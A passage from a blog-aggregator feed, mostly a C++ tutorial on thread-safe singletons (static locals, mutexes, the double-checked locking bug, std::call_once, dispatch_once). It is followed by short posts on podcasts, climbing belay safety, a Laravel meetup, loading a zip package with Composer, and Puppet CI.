        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, if you run it you might see two instances of Library objects
getting created.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Searching for author: Aldous Huxley
Library Size: Library 0x100b84fe0
Brave new world
The Genius and the Goddess
Antic Hay
Library 0x100ba4fe0

9 books

~Library 0x100ba4fe0

main() exit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are two problems here. First of all, we’ve two instances of the
Library object and second, because our Dealloc routine depends on the
guarantee that at any given moment we have a single instance of the
Library object, so the other Library object never gets released. This is
a classic example of a memory leak.&lt;/p&gt;

&lt;p&gt;We can solve this issue with two techniques. First is using the C++11’s
static initialization.&lt;/p&gt;

&lt;p&gt;Let’s modify our Library class and instead of creating the singleton at
heap, we create a static instance of a Library object.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And modifying our calls&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;PrintBooks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Searching for author: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;author&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;GetBooks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;author&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;ostream_iterator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;PrintSize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Library Size: "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;GetSize&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" books"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we now run our code, we get&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Searching for author: Aldous Huxley
Library 0x10006d3c8
Brave new world
The Genius and the Goddess
Antic Hay
Library Size: 9 books
main() exit
~Library 0x10006d3c8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This works because with C++11 we’re now guaranteed to have the static
variables created thread-safely. Another benefit with this approach is
that we don’t have to implement any Library::Dealloc() function as
static data gets deallocated automatically by the runtime. If this
satisfies your requirements, this is best way out.&lt;/p&gt;

&lt;p&gt;But, this won’t be the best fit for some cases. Say, you want to have
Library singleton object only in heap memory. Also, if you’re using
Objective-C this won’t work as you’re not allowed to allocate memory of
custom objects on the stack. This brings us to our second method: Using
C++ thread library.&lt;/p&gt;

&lt;p&gt;Let’s switch back to our original implementation, with Library object in
heap memory. The first thing that we can try is using mutex.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And this works as expected:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Searching for author: Aldous Huxley
Library Size: Library 0x100b92fe0
Brave new world
The Genius and the Goddess
Antic Hay

9 books

~Library 0x100b92fe0

main() exit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The only problem with this code is that Library::SharedInstance() is
going to be called from plenty of places, and this code unnecessary lock
and unlock the mutex at each call. What we actually need it the mutex
only for cases when the single instance has not been created, all other
times we can just simple pass the pointer back. This brings us to the
infamous &lt;a href="http://en.wikipedia.org/wiki/Double-checked_locking"&gt;double checking lock
design&lt;/a&gt;.&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;lock_guard&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mutex_&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
                &lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code looks great right? It applies the mutex only when creating the
shared instance, every other time it just returns the pointer. But this
has a serious bug. This code would work almost all the time, except when
you’ve forgotten about it. It’s so hard to debug that you probably can’t
even simulate the issue in the debug environment and unfortunately you
won’t ever see this bug again for probably a million clock cycles. This
sounds like a programmer’s nightmare right?&lt;/p&gt;

&lt;p&gt;Suppose you’re running this code with two thread ‘bookSearchThread’ and
‘libSizeThread’. bookSearchThread comes in and sees the shared_ is
NULL. It would acquire the lock and start allocating and initializing
the instance. bookSearchThread is half-way done, it has allocated a
space in the heap, so the shared_ isn’t NULL anymore, but
bookSearchThread is not done initializing the instance yet, just the
allocation. Something like in Objective-C as:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Suddenly, the thread switching happens and libSizeThread comes in. It
sees the shared_ isn’t NULL. It says OK, good somebody must have
already created this instance, lets use it straightaway. This could
result in undefined behavior, as libSizeThread is now using an object
that isn’t actually fully initialized.&lt;/p&gt;

&lt;p&gt;This is such a great problem that almost every thread library provides a
way to make this work. In C++11, we can use the std::call_once&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Library&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="nl"&gt;private:&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;once_flag&lt;/span&gt; &lt;span class="n"&gt;onceFlag_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="cm"&gt;/* other data members */&lt;/span&gt;
&lt;span class="nl"&gt;public:&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;SharedInstance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;call_once&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;onceFlag_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]{&lt;/span&gt;
            &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;this_thread&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;sleep_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;chrono&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Library&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/* other member functions */&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Even GCD provides something similar:&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instancetype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sharedInstance&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;dispatch_once_t&lt;/span&gt; &lt;span class="n"&gt;onceFlag&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;dispatch_once&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;once&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;shared_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[[&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt; &lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;shared_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These helper objects from standard libraries are provided just to
guarantee that the object allocation and initialization is complete
before setting the flag and every other time, it just returns
immediately. So, no more race conditions for us.&lt;/p&gt;

&lt;p&gt;So there it is, singletons the thread-safe way.&lt;/p&gt;

&lt;p&gt;The code for todays experiment is available at
&lt;a href="https://github.com/chunkyguy/ConcurrencyExperiments/blob/master/103_SharedData/ThreadsafeSingleton.cpp"&gt;github.com/chunkyguy/ConcurrencyExperiments&lt;/a&gt;.
Check it out and have fun experimenting on your own.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 12 Oct 2014 21:32:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/10/12/concurrency-thread-safe-singletons/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-10614.html</link><description>&lt;p&gt;Another week has gone by, made all the better with a few great podcasts. This time around, Roderick on the Line makes another appearance, and is accompanied by a great episode of Systematic and a fantastic episode of Zac &amp;#38; Co. Enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-10614.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 12 Oct 2014 13:58:07 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-10614.html</guid></item><item><title>The Maze Runner</title><link>https://olshansky.info/movie/the_maze_runner/</link><description>Olshansky's review of The Maze Runner</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 12 Oct 2014 09:11:38 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_maze_runner/</guid></item><item><title>Letter to Two Climbers (Part 1)</title><link>https://josh.works/growth/climbing/2014/10/12/letter-to-two-climbers-part-1/</link><description>&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ee4b0278244cea1dc_1434910458486_2014-10-11-15-41-17.jpg_" /&gt;&lt;/p&gt;

&lt;p&gt;Hello!
We met recently. (I gave Justin tape after he cut his toe and didn’t have a bandaid.)&lt;/p&gt;

&lt;p&gt;You and your partner were climbing a route near me and my partner. One of you (I’ll call Charles, because he had a British accent) was trying 
so hard to figure out some moves high above his last bolt. He was scared to fall. Very scared. Yet he kept trying. I was impressed with Charles’ tenacity.&lt;/p&gt;

&lt;p&gt;The other one (I’ll call you Justin) sort of screwed over Charles. You sent him up a climb that was too hard for him to do, and you didn’t let him back off the climb. You made it 
sound like if he didn’t finish, you were not going to be able to get your quickdraws back.&lt;/p&gt;

&lt;p&gt;Charles was scared, and you offered no consolation.&lt;/p&gt;

&lt;p&gt;The above is excusable. What happened next is not.
more&lt;/p&gt;

&lt;p&gt;Charles fell. And you, Justin, almost dropped him. My partner and I watched in horror as Charles fell from 50 feet up to about fifteen feet. You lost control of the break strand and got it back just before Charles decked.&lt;/p&gt;

&lt;p&gt;I don’t think Charles even realized he’d been dropped. You must have not told him anything about how falling on lead works. If you had, he would have known something terribly wrong happened.&lt;/p&gt;

&lt;p&gt;I know why you dropped Charles. You were distracted. You hurt yourself when you hit the wall last time he fell, so you were paying more attention to not crashing into the wall than anything else. You were trying to keep track of a lot of moving pieces. But it’s inexcusable to drop your climber.&lt;/p&gt;

&lt;p&gt;Why this letter? I want this to be a learning experience. I’m sure you’ve both learned a lot, but I’m afraid Charles is learning that climbing is difficult, scary, and dangerous. You are learning disdain for those who are not as strong as you.&lt;/p&gt;

&lt;p&gt;There’s a better way.&lt;/p&gt;

&lt;p&gt;You obviously don’t want to hurt anyone while lead climbing (and belaying) but you also want to have fun, right? It did not look like either of you were having much fun.&lt;/p&gt;

&lt;p&gt;I want you to have fun climbing. I want you to climb as hard as you can. And I want you to do this all safely. We’ll cover how to make this happen soon, but for now - please know it is possible for 
 of you, both Charles and Justin, to have so much more fun climbing, and to climb so much harder. Even if you can’t imagine climbing without fear right now, stick with me, and we’ll get you there.&lt;/p&gt;

&lt;p&gt;Until next time,&lt;/p&gt;

&lt;p&gt;-Josh&lt;/p&gt;

&lt;p&gt;&lt;a href="/blog/2014/10/18/letter-to-two-climbers-part-2"&gt;Read Part Two&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 12 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/climbing/2014/10/12/letter-to-two-climbers-part-1/</guid></item><item><title>All the Jobs I’ve Had (2014)</title><link>https://solomon.io/all-the-jobs-ive-had-2014/</link><description>My friend Jason Shen wrote a post called You Had One Job.</description><author>Sam Solomon</author><pubDate>Sun, 12 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/all-the-jobs-ive-had-2014/</guid></item><item><title>Went to my first Laravel Meetup</title><link>https://liza.io/went-to-my-first-laravel-meetup/</link><description>&lt;p&gt;Last Friday night I attended what was apparently the first ever &lt;a href="http://www.meetup.com/Laravel-Stockholm/"&gt;Laravel Meetup&lt;/a&gt; in Sweden. I&amp;rsquo;m glad I actually made myself go, because I&amp;rsquo;m not really good with social engagements. I don&amp;rsquo;t tend to go out much and sometimes end up just not bothering and staying home at the last minute.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 11 Oct 2014 13:20:54 GMT</pubDate><guid isPermaLink="true">https://liza.io/went-to-my-first-laravel-meetup/</guid></item><item><title>Require a Remote Zip File with Composer</title><link>https://donatstudios.com/Require-a-Remote-Zip-File-with-Composer</link><description>&lt;p&gt;I previously showed you how to &lt;a href="https://donatstudios.com/Load-Gist-With-Composer"&gt;Load a Github Gist&lt;/a&gt; with Composer, but sometimes you need to install code that isn't isn't even in a public facing VCS.&lt;/p&gt;
&lt;p&gt;I for instance wanted to use a library only distributed by Zip.&lt;/p&gt;
&lt;p&gt;It's actually fairly easy! In your &lt;code&gt;composer.json&lt;/code&gt; file, you simply add a &lt;code&gt;repositories&lt;/code&gt; section to the root. You will want to update the &lt;code&gt;url&lt;/code&gt; section to point at the remote zip you intend to load, as well as updating the name and autoload sections.  More information on configuring composers autoloader can be found &lt;a href="https://getcomposer.org/doc/04-schema.md#autoload"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;"repositories": [
    {
        "type": "package",
        "package": {
            "name": "dr-que/x-y",
            "version": "master",
            "dist": {
                "type": "zip",
                "url": "http://xyplot.drque.net/Downloads/XY_Plot-1.4.zip",
                "reference": "master"
            },
            "autoload": {
                "classmap": ["."]
            }
        }
    }
]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then in your require section, add your selected name as follows.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;"require": {
    "dr-que/x-y": "dev-master"
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then just run &lt;code&gt;composer update&lt;/code&gt; and you should be ready to roll!&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Sat, 11 Oct 2014 04:31:15 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/Require-a-Remote-Zip-File-with-Composer</guid></item><item><title>Swift Pitfalls</title><link>https://peanball.net/2014/10/swift-pitfalls/</link><description/><author>peanball.net</author><pubDate>Sat, 11 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://peanball.net/2014/10/swift-pitfalls/</guid></item><item><title>Continuous integration for Puppet modules</title><link>https://purpleidea.com/blog/2014/10/10/continuous-integration-for-puppet-modules/</link><description>&lt;p&gt;I just patched &lt;a href="https://github.com/purpleidea/puppet-gluster"&gt;puppet-gluster&lt;/a&gt; and &lt;a href="https://github.com/purpleidea/puppet-ipa"&gt;puppet-ipa&lt;/a&gt; to bring their infrastructure up to date with the current state of affairs&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;span style="text-decoration: underline;"&gt;What&amp;rsquo;s new&lt;/span&gt;?&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Better README's&lt;/li&gt;
	&lt;li&gt;&lt;a href="https://github.com/purpleidea/puppet-ipa/blob/master/Rakefile"&gt;Rake syntax checking&lt;/a&gt; (fewer oopsies)&lt;/li&gt;
